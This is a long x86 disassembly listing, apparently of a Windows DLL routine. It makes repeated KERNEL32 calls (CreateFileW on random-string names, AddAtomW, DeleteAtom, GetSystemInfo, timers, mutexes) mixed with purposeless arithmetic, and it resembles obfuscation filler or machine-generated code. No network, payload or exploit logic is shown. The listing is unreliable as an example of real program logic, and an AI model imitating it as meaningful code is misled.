mov dl, byte [ebp - 0xa3]
mov byte [ebp - 0x2d3], dl
mov eax, dword [ebp - 0x4400]
or eax, dword [0x100b7244]
mov dword [0x100b736c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3e78], eax
push 0x100baabc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx ecx, byte [ebp - 0x1be]
movsx edx, byte [ebp - 0x1f6]
add ecx, edx
mov byte [ebp - 0x2ca], cl
push 0
push 0x200
push 5
push 0
push 1
push 0xc0000000
push str.mQb9xYZJjx4MPQQh9SKp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x44a4], eax
mov dword [ebp - 0x44a8], 0x100b979c
movzx eax, word [ebp - 0x8e4]
movzx ecx, word [ebp - 0xa34]
and eax, ecx
mov word [0x100ba214], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba158], eax
lea edx, [ebp - 0x177]
mov dword [ebp - 0x44ac], edx
mov eax, dword [0x100ba3b8]
mov ecx, dword [eax]
mov dword [0x100baae0], ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x44b0], eax
mov edx, dword [0x100ba1c4]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1390]
xor eax, ecx
mov word [ebp - 0x12e4], ax
mov edx, dword [ebp - 0x3f64]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1b7]
sar eax, cl
mov byte [ebp - 0x1e8], al
push str.Q6N3_wq7f5
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100baae4], ax
mov dword [0x100baae8], 0x100b7310
push 0xb4a
mov ecx, dword [0x100ba818]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3708], eax
push 0
push 0x100b9eb0
mov edx, dword [ebp - 0x9880]
push edx
mov eax, dword [ebp - 0x9884]
push eax
mov ecx, dword [ebp - 0x3af0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100baaec], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x445c], eax
movzx eax, word [ebp - 0x1264]
movzx ecx, word [ebp - 0x13c0]
cdq
idiv ecx
mov word [ebp - 0x1200], ax
mov edx, dword [0x100b9c64]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2d94]
mov dword [ebp - 0x3a7c], eax
mov ecx, dword [ebp - 0x36d4]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x970]
shl edx, cl
mov eax, dword [0x100ba354]
mov word [eax], dx
mov ecx, dword [ebp - 0x3064]
mov dword [ebp - 0x44b4], ecx
mov edx, dword [ebp - 0x4414]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3d9c]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x4340]
mov byte [ecx], al
movzx edx, word [0x100ba65c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1514], ax
push str.2loCI8BnJ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100baaf0], ax
movsx eax, byte [0x100b7217]
movsx ecx, byte [ebp - 0x2b4]
and eax, ecx
mov byte [0x100b726b], al
lea edx, [ebp - 0x2b2]
mov dword [ebp - 0x44b8], edx
push 0x3740
push 0x11cc
push 0x2e69
push 0x277a
mov eax, dword [0x100ba178]
push eax
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x37a8], eax
lea ecx, [ebp - 0x3274]
mov dword [ebp - 0x44bc], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x44c0], eax
mov edx, dword [ebp - 0x3ba8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2af]
or eax, ecx
mov edx, dword [0x100ba564]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100baaf4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x44c4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100baaf8], eax
mov eax, dword [ebp - 0x3a78]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xd08]
xor ecx, edx
mov word [ebp - 0xa9c], cx
movzx eax, word [ebp - 0x11a8]
movzx ecx, word [ebp - 0x1454]
sar eax, cl
mov word [ebp - 0x8a0], ax
mov ecx, dword [ebp - 0x33fc]
mov esi, dword [ebp - 0x3418]
mov eax, dword [ecx]
xor edx, edx
div dword [esi]
mov edx, dword [0x100b9940]
mov dword [edx], eax
movsx eax, byte [ebp - 0x26e]
mov ecx, dword [ebp - 0x3f28]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x2c4], al
mov eax, dword [ebp - 0x2d88]
mov dword [ebp - 0x44c8], eax
lea ecx, [ebp - 0x259]
mov dword [0x100baafc], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba384], eax
mov edx, dword [0x100b99d4]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x39c8]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3d68]
mov word [ecx], ax
mov edx, dword [0x100b9508]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x11e0]
sub eax, ecx
mov word [ebp - 0x1144], ax
lea edx, [ebp - 0xb098]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [0x100b7f26]
movsx ecx, byte [ebp - 0x22d]
shl eax, cl
mov byte [0x100b71f6], al
lea ecx, [ebp - 0xea0]
mov dword [ebp - 0x44cc], ecx
mov edx, dword [0x100b9fb4]
mov eax, dword [0x100b9ea8]
mov ecx, dword [edx]
imul ecx, dword [eax]
mov dword [ebp - 0x2f98], ecx
mov edx, dword [ebp - 0x3980]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2d10]
mov dword [0x100b7370], eax
mov ecx, dword [ebp - 0x3454]
movzx edx, byte [ecx]
movzx eax, byte [0x100b7efb]
or edx, eax
mov byte [ebp - 0x9e], dl
push 0
push 0x80
push 0
push 0
push 1
push 0x80000000
push str.wC9J078G6j4SN17UNpMTdj9P
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bab00], eax
mov cx, word [ebp - 0x698]
mov word [ebp - 0x1518], cx
mov edx, dword [0x100ba48c]
mov al, byte [edx]
mov byte [0x100b81eb], al
mov ecx, dword [ebp - 0x44b0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100ba348], eax
movzx edx, word [ebp - 0xd80]
mov eax, dword [ebp - 0x39f8]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x10b8], dx
mov ecx, dword [ebp - 0x40e4]
mov edx, dword [ebp - 0x3ed4]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ebp - 0x3980]
mov dword [ecx], eax
push 0
push 4
push 2
push 0
push 1
push 0xc0000000
push str.d5ctGAyiUVTe
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x44d0], eax
mov edx, dword [ebp - 0x42d8]
mov eax, dword [edx]
and eax, dword [ebp - 0x2f78]
mov ecx, dword [0x100ba1f4]
mov dword [ecx], eax
mov dl, byte [0x100b814f]
mov byte [ebp - 0x2d4], dl
mov eax, dword [0x100ba3d0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x3f58]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3ec0]
mov byte [edx], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba2d8], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x44d4], eax
mov eax, dword [ebp - 0x3e58]
mov cx, word [eax]
mov word [0x100bab04], cx
lea edx, [ebp - 0x9c40]
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bab08], eax
movzx eax, word [ebp - 0x11a0]
movzx ecx, word [ebp - 0x1294]
shl eax, cl
mov word [ebp - 0x598], ax
mov ecx, dword [ebp - 0x3068]
mov dword [ebp - 0x44d8], ecx
movsx edx, byte [ebp - 0x43]
mov eax, dword [ebp - 0x40c0]
movsx ecx, byte [eax]
add edx, ecx
mov byte [0x100b7fd6], dl
mov edx, dword [ebp - 0x3d2c]
movzx eax, byte [edx]
mov ecx, dword [0x100ba814]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x2cd], al
mov dword [ebp - 0x44dc], 0x100b7264
push 2
push 0x100b9eb0
mov edx, dword [ebp - 0x9888]
push edx
mov eax, dword [ebp - 0x988c]
push eax
mov ecx, dword [0x100b9b0c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3cd8], eax
lea edx, [ebp - 0x59c]
mov dword [0x100bab0c], edx
mov eax, dword [ebp - 0x35bc]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3ae4]
movsx eax, word [edx]
or ecx, eax
mov word [ebp - 0x1338], cx
push str.IMajDTHh
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bab10], ax
mov ecx, dword [ebp - 0x3cb4]
mov edx, dword [ebp - 0x3e4c]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x3050], eax
mov ecx, dword [0x100b9850]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3b88]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b7e3b], dl
mov edx, dword [ebp - 0x4434]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2cc]
sub eax, ecx
mov byte [ebp - 0xdb], al
mov edx, dword [0x100b9e4c]
mov ax, word [edx]
mov word [ebp - 0x151c], ax
movzx ecx, word [ebp - 0x1358]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bab14], ax
lea edx, [ebp - 0x9e20]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp - 0x4270]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x14b4]
shl edx, cl
mov word [0x100b7374], dx
mov eax, dword [0x100b97f4]
mov ecx, dword [ebp - 0x3f50]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x3fe4]
mov dword [eax], edx
mov ecx, dword [0x100ba8bc]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x12dc]
sar edx, cl
mov eax, dword [ebp - 0x43a4]
mov word [eax], dx
push 0x5c0
push 0
push 0x100b9704
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3bf8], eax
mov ecx, dword [0x100ba9bc]
mov edx, dword [ecx]
and edx, dword [0x100ba3a0]
mov dword [0x100baaac], edx
movzx eax, word [0x100b9970]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1520], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x40cc], eax
push 0x100bab18
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bab3c], eax
push str.Ue9A3MU0v0yAfj4qvkjOTPOi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1524], ax
lea ecx, [ebp - 0xc1]
mov dword [ebp - 0x44e0], ecx
movzx edx, byte [ebp - 0x48]
movzx eax, byte [0x100b7dff]
or edx, eax
mov byte [0x100b726e], dl
lea ecx, [ebp - 0xca4]
mov dword [ebp - 0x44e4], ecx
mov edx, dword [ebp - 0x3170]
xor edx, dword [ebp - 0x3194]
mov dword [ebp - 0x3f10], edx
push 0x100b9c7c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp - 0x43e4]
mov ecx, dword [0x100b72c8]
add ecx, dword [eax]
mov edx, dword [0x100b98b0]
mov dword [edx], ecx
movzx eax, word [ebp - 0x116c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1528], ax
movsx edx, word [ebp - 0x1214]
movsx ecx, word [ebp - 0x125c]
shl edx, cl
mov eax, dword [ebp - 0x3ac0]
mov word [eax], dx
push 0x100ba048
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x44e8], 0x100b71f7
movzx ecx, byte [ebp - 0x5f]
movzx edx, byte [ebp - 0x281]
and ecx, edx
mov eax, dword [0x100ba3f8]
mov byte [eax], cl
movsx edx, byte [ebp - 0x2be]
mov eax, dword [0x100ba48c]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x1ce], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x44ec], eax
push 0x100bab40
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x4074]
mov edx, dword [ebp - 0x40fc]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x39fc]
mov dword [ecx], eax
movzx edx, word [0x100ba4ac]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x12d4], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x40cc], eax
push str.IoXSXtZkTo_EN2
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bab64], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba460], eax
lea eax, [ebp - 0xd80]
mov dword [0x100bab68], eax
mov ecx, dword [ebp - 0x3b84]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x4060]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x12b0], dx
mov edx, dword [ebp - 0x3d34]
mov eax, dword [ebp - 0x3804]
or eax, dword [edx]
mov dword [ebp - 0x3270], eax
lea ecx, [ebp - 0x286]
mov dword [0x100bab6c], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x44f0], eax
mov edx, dword [0x100b9e78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1f4]
and eax, ecx
mov edx, dword [ebp - 0x3f58]
mov byte [edx], al
lea eax, [ebp - 0x2b48]
mov dword [ebp - 0x44f4], eax
movzx ecx, word [ebp - 0xfa4]
imul edx, ecx, 0xddb
mov eax, dword [0x100ba6e4]
mov word [eax], dx
movsx ecx, word [ebp - 0x1340]
movsx edx, word [ebp - 0xdb4]
sub ecx, edx
mov eax, dword [ebp - 0x37a0]
mov word [eax], cx
mov ecx, dword [ebp - 0x3b34]
mov dx, word [ecx]
mov word [ebp - 0x152c], dx
movzx eax, byte [ebp - 0x273]
mov ecx, dword [ebp - 0x3534]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [0x100ba6a8]
mov byte [edx], al
push 0
push 0x12fa
push 0xb12
push 0x719d
push 2
mov eax, dword [ebp - 0x3ca4]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100bab70], eax
mov ecx, dword [ebp - 0x3ba0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2f98]
shr edx, cl
mov dword [ebp - 0x2bc0], edx
mov eax, dword [0x100baae8]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x37cc]
mov dword [ebp - 0x31ec], ecx
lea edx, [ebp - 0x88]
mov dword [0x100bab74], edx
lea eax, [ebp - 0x82c]
mov dword [ebp - 0x44f8], eax
movsx ecx, word [ebp - 0x4b8]
movsx edx, word [0x100ba8b4]
add ecx, edx
mov word [ebp - 0x7c4], cx
mov eax, dword [ebp - 0x3dd4]
movsx ecx, byte [eax]
mov edx, dword [0x100ba79c]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [0x100ba358]
mov byte [edx], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba5d8], eax
lea eax, [ebp - 0x41]
mov dword [ebp - 0x44fc], eax
mov ecx, dword [0x100ba918]
mov edx, dword [ecx]
or edx, dword [ebp - 0x2f9c]
mov eax, dword [ebp - 0x3770]
mov dword [eax], edx
lea ecx, [ebp - 0x2de0]
mov dword [0x100bab78], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4500], eax
mov dl, byte [0x100b80bf]
mov byte [ebp - 0x2d5], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4504], eax
mov eax, dword [ebp - 0x3d3c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1244]
xor ecx, edx
mov eax, dword [ebp - 0x3d14]
mov word [eax], cx
mov ecx, dword [ebp - 0x4274]
mov dx, word [ecx]
mov word [0x100bab7c], dx
movzx eax, byte [0x100b7e72]
mov ecx, dword [ebp - 0x405c]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 4], al
mov edx, dword [0x100b96f4]
mov eax, dword [ebp - 0x37b0]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x4494], eax
push str.VjHH6_0M_DY_dGQTO
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bab80], ax
movzx ecx, word [ebp - 0x5a8]
movzx edx, word [ebp - 0x618]
add ecx, edx
mov word [0x100b7294], cx
mov eax, dword [ebp - 0x2dc8]
and eax, dword [ebp - 0x36b8]
mov dword [ebp - 0x3c38], eax
mov dword [ebp - 0x4508], 0x100b714a
mov ecx, dword [ebp - 0x3e88]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x11e4]
xor edx, eax
mov word [0x100b7378], dx
movzx ecx, byte [ebp - 0x21a]
mov edx, dword [ebp - 0x3cf0]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3534]
mov byte [edx], cl
mov dword [ebp - 0x450c], 0x100b72f8
movsx eax, byte [ebp - 0x2cb]
movsx ecx, byte [ebp - 0x1c9]
add eax, ecx
mov edx, dword [0x100ba538]
mov byte [edx], al
lea eax, [ebp - 0x1150]
mov dword [ebp - 0x4510], eax
movzx ecx, word [0x100b94f8]
mov edx, dword [ebp - 0x42ec]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x36c8]
mov word [edx], cx
mov eax, dword [ebp - 0x4158]
mov ecx, dword [eax]
mov dword [0x100bab84], ecx
push 0x786
mov edx, dword [0x100ba89c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3bac], eax
push 0x100bab88
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ax, word [ebp - 0x1348]
mov word [ebp - 0x1530], ax
movzx ecx, byte [0x100b7f3f]
movzx edx, byte [ebp - 0x2b]
or ecx, edx
mov byte [ebp - 0x163], cl
movzx eax, word [ebp - 0x1358]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1534], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba9e0], eax
push 0
push 0x200
push 4
push 0
push 1
push 0xc0000000
push str.qh363Zlbrqv7tdiTxJW592WDubwoJ66
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100babac], eax
mov ecx, dword [ebp - 0x37d0]
mov edx, dword [ebp - 0x44f4]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [0x100baa24]
mov dword [ecx], eax
lea edx, [ebp - 0x229]
mov dword [ebp - 0x4514], edx
push str.I6pxfb_Fag8d5nj_0lDTjh
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1538], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x414c], eax
mov eax, dword [ebp - 0x4014]
movzx edx, word [eax]
mov eax, dword [0x100baa64]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x1210], dx
mov ecx, dword [0x100ba3ec]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3b3c]
movzx ecx, word [eax]
and edx, ecx
mov word [0x100ba634], dx
push 0x3121
push 0xede
push 0x2bff
push 0x3e0e
mov edx, dword [0x100b97f0]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x4124], eax
push 0
push 0x200
push 0
push 0
push 1
push 0xc0000000
push str.Tl4Bg3iH8ogg0e99X2sPakJ5
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100babb0], eax
mov eax, dword [ebp - 0x40f4]
mov cl, byte [eax]
mov byte [ebp - 0x2d6], cl
mov dword [0x100babb4], 0x100ba900
mov edx, dword [0x100ba8bc]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xed8]
xor eax, ecx
mov word [ebp - 0xedc], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba040], eax
lea edx, [ebp - 0xb194]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x1de]
mov dword [ebp - 0x4518], eax
mov ecx, dword [ebp - 0x327c]
add ecx, dword [ebp - 0x41e4]
mov dword [0x100b7324], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3c34], eax
mov edx, dword [ebp - 0x374c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3a80]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3d08]
mov word [ecx], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100babb8], eax
lea edx, [ebp - 0x9e38]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp - 0x3910]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x3838]
sar edx, cl
mov dword [ebp - 0x2ac8], edx
lea eax, [ebp - 0x1250]
mov dword [0x100babbc], eax
mov edx, dword [ebp - 0x2cb0]
mov ecx, dword [ebp - 0x3a2c]
shl edx, cl
mov eax, dword [ebp - 0x35d8]
mov dword [eax], edx
mov ecx, dword [0x100ba6a8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2b]
or edx, eax
mov byte [ebp - 0x158], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100babc0], eax
push str.I5Tf.4qPY_CKTP_W2
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x153c], ax
lea ecx, [ebp - 0x2bb]
mov dword [0x100babc4], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9ea0], eax
lea edx, [ebp - 0xad80]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [ebp - 0x2c4]
mov ecx, dword [0x100b96d0]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x1c], al
mov eax, dword [ebp - 0x3ad8]
mov ecx, dword [ebp - 0x2f40]
add ecx, dword [eax]
mov dword [ebp - 0x2d88], ecx
mov edx, dword [ebp - 0x3f84]
movzx eax, byte [edx]
movzx ecx, byte [0x100b71ba]
and eax, ecx
mov byte [0x100b80ef], al
lea edx, [ebp - 0x7d8]
mov dword [ebp - 0x451c], edx
movzx eax, word [ebp - 0x13f8]
movzx ecx, word [ebp - 0xfd0]
sar eax, cl
mov ecx, dword [ebp - 0x3428]
mov word [ecx], ax
mov edx, dword [ebp - 0x385c]
mov eax, dword [0x100ba730]
sub eax, dword [edx]
mov dword [0x100b72a4], eax
push 0
push 0x80
push 4
push 0
push 8
push 0x40000000
push str.sNJ0nUsP9
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100babc8], eax
mov ecx, dword [0x100b9ab4]
mov dl, byte [ecx]
mov byte [ebp - 0x2d7], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4520], eax
mov eax, dword [ebp - 0x3f4c]
mov ecx, dword [0x100b7340]
shl eax, cl
mov dword [ebp - 0x4384], eax
lea ecx, [ebp - 0x2f]
mov dword [0x100babcc], ecx
push 0x100b9e00
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea edx, [ebp - 0x1020]
mov dword [ebp - 0x4524], edx
mov eax, dword [ebp - 0x4138]
mov cx, word [eax]
mov word [ebp - 0x1540], cx
mov edx, dword [ebp - 0x4204]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4508]
movsx edx, byte [ecx]
or eax, edx
mov byte [0x100b721f], al
mov eax, dword [0x100ba164]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3e30]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x618], cx
mov ecx, dword [ebp - 0x40d8]
mov edx, dword [0x100ba5d0]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x2f84], eax
mov dword [0x100babd0], 0x100b9dd4
mov ecx, dword [ebp - 0x4144]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3b48]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x290], dl
mov ecx, dword [ebp - 0x42cc]
mov dx, word [ecx]
mov word [ebp - 0x1544], dx
lea eax, [ebp - 0x3b]
mov dword [0x100babd4], eax
movzx ecx, word [ebp - 0x128c]
movzx edx, word [0x100b735c]
xor ecx, edx
mov word [ebp - 0xe6c], cx
mov eax, dword [ebp - 0x37f4]
mov ecx, dword [ebp - 0x3d94]
xor ecx, dword [eax]
mov dword [ebp - 0x2b8c], ecx
mov edx, dword [ebp - 0x3d18]
mov eax, dword [edx]
mov ecx, dword [0x100b9540]
shl eax, cl
mov ecx, dword [0x100ba7e8]
mov dword [ecx], eax
lea edx, [ebp - 0x2ba]
mov dword [ebp - 0x4528], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba53c], eax
movsx eax, byte [0x100b80bf]
movsx ecx, byte [ebp - 0x11f]
add eax, ecx
mov byte [ebp - 0x2c9], al
movsx edx, word [0x100b7378]
movsx eax, word [ebp - 0x5dc]
and edx, eax
mov word [0x100b737c], dx
mov ecx, dword [ebp - 0x3540]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3f40]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0x7d4], dx
mov edx, dword [0x100ba234]
mov eax, dword [ebp - 0x36f8]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x32fc], edx
movsx eax, byte [ebp - 0x29b]
mov ecx, dword [ebp - 0x3f28]
movsx edx, byte [ecx]
add eax, edx
mov byte [str.i3], al
movzx eax, word [ebp - 0x124c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x13d8], ax
movzx ecx, byte [ebp - 0x2b1]
mov edx, dword [0x100ba380]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x2cd], cl
mov ecx, dword [ebp - 0x379c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x3634]
mov eax, dword [ebp - 0x3aac]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3ba4]
mov dx, word [ecx]
mov word [0x100babd8], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100babdc], eax
mov dword [ebp - 0x452c], 0x100b7300
mov eax, dword [ebp - 0x2af8]
mov dword [ebp - 0x4530], eax
mov ecx, dword [0x100ba71c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x4534], eax
mov edx, dword [0x100babd4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x26e]
shl eax, cl
mov byte [0x100b7226], al
movzx ecx, word [ebp - 0x11a4]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100babe0], ax
mov edx, dword [0x100ba86c]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [ebp - 0x199]
movzx ecx, byte [ebp - 0x2f]
xor eax, ecx
mov edx, dword [ebp - 0x3cf0]
mov byte [edx], al
mov eax, dword [ebp - 0x3cd4]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3a80]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x1228], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4538], eax
movzx edx, word [ebp - 0xf0c]
movzx ecx, word [ebp - 0xefc]
sar edx, cl
mov eax, dword [0x100b9ba8]
mov word [eax], dx
mov ecx, dword [ebp - 0x33fc]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2bf4]
mov dword [ebp - 0x31f0], edx
push 0
push 0x20
push 1
push 0
push 8
push 0xc0000000
push str.1mGGcx_bmVBm3e9h
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100babe4], eax
lea eax, [ebp - 0x1018]
mov dword [ebp - 0x453c], eax
lea ecx, [ebp - 0x2e9c]
mov dword [0x100babe8], ecx
mov edx, dword [ebp - 0x3db0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2b8]
and eax, ecx
mov edx, dword [ebp - 0x4210]
mov byte [edx], al
movzx eax, byte [0x100b726e]
mov ecx, dword [ebp - 0x3884]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b7192], al
mov edx, dword [ebp - 0x423c]
mov ax, word [edx]
mov word [ebp - 0x1548], ax
mov ecx, dword [ebp - 0x38c8]
xor ecx, dword [0x100b9ebc]
mov dword [ebp - 0x3858], ecx
mov edx, dword [0x100babb4]
mov eax, dword [edx]
mov dword [0x100babec], eax
